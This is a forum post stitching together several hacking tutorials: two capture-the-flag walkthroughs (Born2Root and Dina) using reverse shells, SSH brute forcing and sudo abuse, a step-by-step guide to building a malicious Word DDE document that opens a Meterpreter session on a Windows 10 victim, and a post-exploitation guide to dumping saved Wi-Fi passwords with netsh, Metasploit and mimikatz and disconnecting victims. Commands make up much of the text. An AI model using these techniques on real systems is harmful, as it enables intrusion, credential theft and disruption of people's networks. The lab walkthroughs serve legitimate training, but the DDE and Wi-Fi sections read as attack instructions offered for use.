Login

**NINZA** · 05-14-2020, 05:28 AM

0			0

Hello friends! Today we are going to take another CTF challenge known as Born2Root. The credit for making this vm machine goes to “Hadi Mene” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.137 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration.
nmap -sV 192.168.1.137
1
nmap -sV 192.168.1.137
[Image: 2.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the web page. So we use dirb to find the directories for more information.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Now the dirb scan shows us directories. We open the icons/ directory and find a few files.
[Image: 5.1.png?w=687&ssl=1]

Among the files, there is a text file we open it and find a private key.
[Image: 5.png?w=687&ssl=1]

We use this key to log in through ssh to the target machine we use the names we find on the page we first opened. First, we change the permissions of the private key. Then we use it to connect through ssh.
chmod 600 id_rsa
ssh -i id_rsa [email protected]
1
2
chmod 600 id_rsa
ssh -i id_rsa [email protected]
[Image: 6.png?w=687&ssl=1]

When we connect it will ask for password just press enter, it is there for trolling.
Searching through the files we take a look at cron job.
cat /etc/crontab
1
cat /etc/crontab
[Image: 7.png?w=687&ssl=1]

We find that a file to called sekurity.py in the /tmp/ is to be executed every 5 minutes. But the file is missing from the folder. So we create a reverse shell of our own and save it as sekurity.py in the /tmp/ folder.
[Image: 8.png?w=687&ssl=1]

Now we set up our listener using netcat and wait for the cronjob to execute our file. Once the file is executed we get our reverse shell as a different user.
[Image: 9.png?w=687&ssl=1]

We couldn’t find anything that could help us root the machine. Now we use the third the user to root the machine. We know that the third user is hadi. So we create a dictionary using this name.
We use cupp to create a dictionary.
[Image: 10.png?w=687&ssl=1]

After we create a dictionary we use metasploit to bruteforce our way into ssh.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.1.137
msf auxiliary(ssh_login) > set username hadi
msf auxiliary(ssh_login) > set pass_file hadi.txt
msf auxiliary(ssh_login) > run
1
2
3
4
5
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.1.137
msf auxiliary(ssh_login) > set username hadi
msf auxiliary(ssh_login) > set pass_file hadi.txt
msf auxiliary(ssh_login) > run
[Image: 11.png?w=687&ssl=1]

Now once we enter the shell we spawn the terminal and use hadi’s password (‘hadi123’) to enter the root shell.
python -c "import pty; pty.spawn('/bin/bash')"
su root
1
2
python -c "import pty; pty.spawn('/bin/bash')"
su root
[Image: 12.png?w=687&ssl=1]

Now that we are root we open the flag.txt and find a congratulatory message for completing the VM challenge.
[Image: 13.png?w=687&ssl=1]

[To see content please register here]

DDE stands for “Dynamic Data Exchange”, this is a method used by windows to facilitate one program being able to subscribe to an item made using another program. This exploit uses that functionality to exploit a victim endpoint. Once the victim clicks on the word file, an HTA payload is retrieved via HTTP and session is achieved.
Here is a step-by-step description of how it happens:
The code for the exploit has to be copied into Leafpad and saved with a “.rb” extension, you can name it anything you like, to avoid any confusion, ours is named “dde_delivery.rb”. This file has to now be moved into the windows section of the exploit folder in Metasploit, you can find the path and exploit URL below.
Exploit URL –

[To see content please register here]

Path of windows folder in Kali – usr > share > Metasploit-framework > modules > exploits > windows
Here is what the exploit being pasted into the “windows” folder will look like.
[Image: 2.png?w=687&ssl=1]

Now open a terminal and start Metasploit, once it starts, type “use exploit/windows/dde_delivery” and the exploit will load. Once that is done, all you need to do is set srvhost, this is the host IP. Once the exploit loads, type “set srvhost” followed by your IP, you can see what that would look like in the screenshot given below.
Press enter and you’re all set.
Type “exploit” and press Enter.
You will see the code generated, it has been highlighted in the screenshot given below. Copy this code.
NOTE: Do not close the terminal, it must remain active throughout.
[Image: 3.png?w=687&ssl=1]

Open Microsoft Word, navigate to the “Insert” tab, under the “Text” section you will find “Quick Parts”, click on it and in the drop menu you will see “Field…”
[Image: 4.png?w=687&ssl=1]

Click on “Field…”, another window will appear, by default, it will look like the screenshot pasted below, click OK
[Image: 5.png?w=687&ssl=1]

Once you click on OK, a text will appear “! Unexpected End of Formula”, select this text and right click on it, in the menu choose the option “Toggle Field Codes”.
[Image: 6.png?w=687&ssl=1]

Once this is done, the text will change to “{ =\* MERGEFORMAT } “
[Image: 7.png?w=687&ssl=1]

Paste the code you copied from Metasploit within the “{ }”, as seen below.
[Image: 8.png?w=687&ssl=1]

Save the file in a “.docx” format, you can name it anything you like and close Microsoft Word.
You now have a handy word file that can be opened on a Windows 10 machine to achieve session.
Here is what it looks like when the word file is opened:
Once the word file is opened, you will see the following message, click “Yes”.
[Image: 9.png?w=687&ssl=1]

Next, this message will appear. Again, click “Yes”
[Image: 10.png?w=687&ssl=1]

Finally, this message will appear, click “OK”
[Image: 11.png?w=687&ssl=1]

Now go back to the terminal in kali for the good part.
You will see that the moment OK is clicked in the image above, Meterpreter will come online and you will have achieved session just like that!!
[Image: 12.png?w=687&ssl=1]

If in case you were wondering why at the beginning we made you manually copy the code into Leafpad and save it into Metasploit, it’s because this is a new exploit and has not been updated into the Metasploit database.
Have fun and stay ethical.

Most of the Security protocols of Wi-Fi networks are often broken or bypassed exposing the wireless internet traffic to attackers. Through this article one can learn about different ways to get basic service sets information of remote user’s Wi-Fi as well as current network connection information, and how to extract saved Wireless LAN profiles of remote pc after that you will be disconnecting target user’s Wi-Fi too. All the following attacks are post exploitation attacks.
Table of Content

Introduction
Working of Wi-Fi
Types of Wi-Fi security
WLAN BSS List
WLAN Current Connection
WLAN Profile
WLAN Disconnect
Mimikatz
Netsh

Introduction
All wireless networking technology is commonly known as Wi-Fi. It provides high-speed internet as it works on radio waves. Wi-Fi trademark is owned by the company the Wi-Fi Alliance; it officially defined as Wireless Local Area Network (WLAN). It is supported by many applications and devices such as mobile phones, PDAs, OS, Video game consoles, etc. therefore, it lets all the devices to communicate easily.
Working of Wi-Fi
As the name suggests, the Wi-Fi network has no physical connection between the sender and the receiver. It uses radio frequency within the electromagnetic spectrum associated with radio waves. Therefore, it is able to provide high-speed internet. Every Wi-Fi connection works through an Access Point (AP). The main job of an access point is to broadcast the signal that is further detected by electronic devices. ones the signal is detected they connect to the Wi-Fi in order to use Wi-Fi.
Types of Wi-Fi security

Wired Equivalent Privacy
Wi-Fi Protected Access
Wi-Fi Protected Access 2

Netsh
Now that you have a session of the victim’s PC, go to the shell and use the following command to find out the wi-fi connections of victims’ PC over the time ;
netsh wlan show profiles
1
netsh wlan show profiles
[Image: 5.png?w=687&ssl=1]

As the above image shows, till date, the PC was connected to the Pentest Lab, Sinos, POCO PHONE, ignit. Now, we can use the following to gain detailed information about the network :
netsh wlan show networks mode=bssid
1
netsh wlan show networks mode=bssid
[Image: 6.png?w=687&ssl=1]

Now, use the following command to see the password of a particular wi-fi :
netsh wlan show profile name="ignit" key=clear
1
netsh wlan show profile name="ignit" key=clear
[Image: 7.png?w=687&ssl=1]

WLAN BSS List
This module gathers information about the wireless Basic Service Sets available to the victim machine.
e.g. this will give you SSID and other important information regarding wireless connection.
msf > use post/windows/wlan/wlan_bss_list
msf post(wlan_bss_list) > set session 5
msf post(wlan_bss_list) > exploit
1
2
3
msf > use post/windows/wlan/wlan_bss_list
msf post(wlan_bss_list) > set session 5
msf post(wlan_bss_list) > exploit
From given below image you can observe that here it has found “5 networks” such as Pen lab, Sinos, Ignite and etc along with their basic 3 Details
[Image: 1.png?w=687&ssl=1]

WLAN Current Connection
This module gathers information about the current connection on each wireless LAN interface on the target machine.
msf > use post/windows/wlan/wlan_current_connection
msf post(wlan_current_connection) > set session 5
msf post(wlan_current_connection) > run
1
2
3
msf > use post/windows/wlan/wlan_current_connection
msf post(wlan_current_connection) > set session 5
msf post(wlan_current_connection) > run
The given below image has disclosed that “pen Lab” is the current connection through which victim is connected moreover it has shown some basic details such as MAC address of the router, Security status, Authentication type and etc.
[Image: 2.png?w=687&ssl=1]

WLAN Profile
This module extracts saved Wireless LAN profiles. It will also try to decrypt the network key material. Behavior is slightly different between OS versions when it comes to WPA. In Windows Vista/7 we will get the passphrase. In Windows XP we will get the PBKDF2 derived the key.
msf post> use post/windows/wlan/wlan_profile
msf post(wlan_profile) > set session 5
msf post(wlan_profile) > exploit
1
2
3
msf post> use post/windows/wlan/wlan_profile
msf post(wlan_profile) > set session 5
msf post(wlan_profile) > exploit
From given below image you can see it has extracted the profile of wifi through which victim is connected moreover it has also decrypted the shared key (password). Hence you can confirm the password for “Pen Lab” is “ignite@123”.
[Image: 3.png?w=687&ssl=1]

WLAN Disconnect
This module disconnects the current wireless network connection on the specified interface.
msf > use post/windows/wlan/wlan_disconnect
msf post(wlan_disconnect) > set session 5
msf post(wlan_disconnect) > exploit
1
2
3
msf > use post/windows/wlan/wlan_disconnect
msf post(wlan_disconnect) > set session 5
msf post(wlan_disconnect) > exploit
From given below image you can confirm that it is disconnecting the victim from the current wireless network.
[Image: 5.png?w=687&ssl=1]

Mimikatz
I call it a post-exploitation toolkit because it has a lot of features, far beyond the ability to dump plain-text passwords.
meterpreter > load kiwi
1
meterpreter > load kiwi
[Image: 6.png?w=687&ssl=1]

meterpreter > help
1
meterpreter > help
This will give you the entire wireless connection list with passwords as well. VOILA! You got it right.
meterpreter > wifi_list
meterpreter > wifi_list_shared
1
2
meterpreter > wifi_list
meterpreter > wifi_list_shared
Great!! From given below image you can confirm that it has dumped all shared keys (password) and authentication of their respective SSID.
[Image: 7.png?w=687&ssl=1]

Today we are going to take another CTF challenge, Dina. The credit for making this VM machine goes to “Touhid Shaikh” and it is a boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Scanning

Netdiscover
NMAP

Enumeration

NMAP
Web Directory Search

Exploitation

Metasploit

Privilege Escalation

Exploiting Sudo rights

Walkthrough:
Scanning:
Let’s start off by scanning the network and identifying the host IP address. We can identify our host IP as 192.168.43.219 by using Netdiscover.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Then, as usual, we used our favourite tool Nmap for port enumeration. We found that port 80 is open.
nmap –A 192.168.43.219
1
nmap –A 192.168.43.219
[Image: 2.png?w=687&ssl=1]

Enumeration:
As we can see port 80 is open, we tried to open the IP address in our browser but we didn’t find anything useful on the webpage.
[Image: 3.png?w=687&ssl=1]

Also in the nmap scan, we found the robots.txt directory, so we tried to open it in the browser.
[Image: 4.png?w=687&ssl=1]

Inside the robots.txt directory, we found the names of multiple directories, so we tried to open each one of them one by one but found /nothing directory useful to us.
[Image: 5.png?w=687&ssl=1]

The source code of /nothing directory revealed some passwords which were useful later.
[Image: 6.png?w=687&ssl=1]

We have got the passwords so we used dirb to find out any further directories where we could use these passwords. We found a directory named /secure.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

In the /secure directory there is a zip file named backup.zip. We download the file in our kali machine.
[Image: 8.png?w=687&ssl=1]

When we tried to extract the zip file it was password-protected, so we tried all the passwords found above and freedom was the correct one.
[Image: 9.png?w=687&ssl=1]

Now after we extract the file we find an mp3 file. We checked the file type and found out it is actually an ASCII file. We opened it and got a username touhid and a name of directory /SecreTgatwayLogin.
file backup-cred.mp3
cat backup-cred.mp3
1
2
file backup-cred.mp3
cat backup-cred.mp3
[Image: 10.png?w=687&ssl=1]

We opened the directory in the browser and got a playSMS login page. We put in the username touhid and tried the password from the above-found list and diana worked for us.
[Image: 11.png?w=687&ssl=1]

Exploitation:
In the exploitation phase, we looked for any exploit of playSMS web-application in the Metasploit and found two exploits.
search playsms
1
search playsms
[Image: 12.png?w=687&ssl=1]

We used the second exploit in which we are uploading our payload using a CSV file.
We put in the required fields and used touhid and diana as username and password.
use exploit/multi/http/playsms_uploadcsv_exec
set rhost 192.168.43.219
set lhost 192.168.43.171
set lport 4444
set username touhid
set password Diana
set targeturi /SecreTgatwayLogin
exploit
1
2
3
4
5
6
7
8
use exploit/multi/http/playsms_uploadcsv_exec
set rhost 192.168.43.219
set lhost 192.168.43.171
set lport 4444
set username touhid
set password Diana
set targeturi /SecreTgatwayLogin
exploit
[Image: 13.png?w=687&ssl=1]

After running the exploit, we successfully got a metrepreter session and the used python one-liner to get a proper shell.
On checking the sudo permissions for the www-data user, it had a sudo permission to run perl.
getuid
shell
python -c 'import pty; pty.spawn("/bin/sh")'
sudo -l
1
2
3
4
getuid
shell
python -c 'import pty; pty.spawn("/bin/sh")'
sudo -l
[Image: 14.png?w=687&ssl=1]

Privilege Escalation:
To elevate to root privileges we exploited the sudo permissions of perl and successfully got the root shell. And then traversed to the root directory and found the flag.txt file.
sudo /usr/bin/perl –e "exec '/bin/sh'"
whoami
cd /root
ls
cat flag.txt
1
2
3
4
5
sudo /usr/bin/perl –e "exec '/bin/sh'"
whoami
cd /root
ls
cat flag.txt
[Image: 15.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis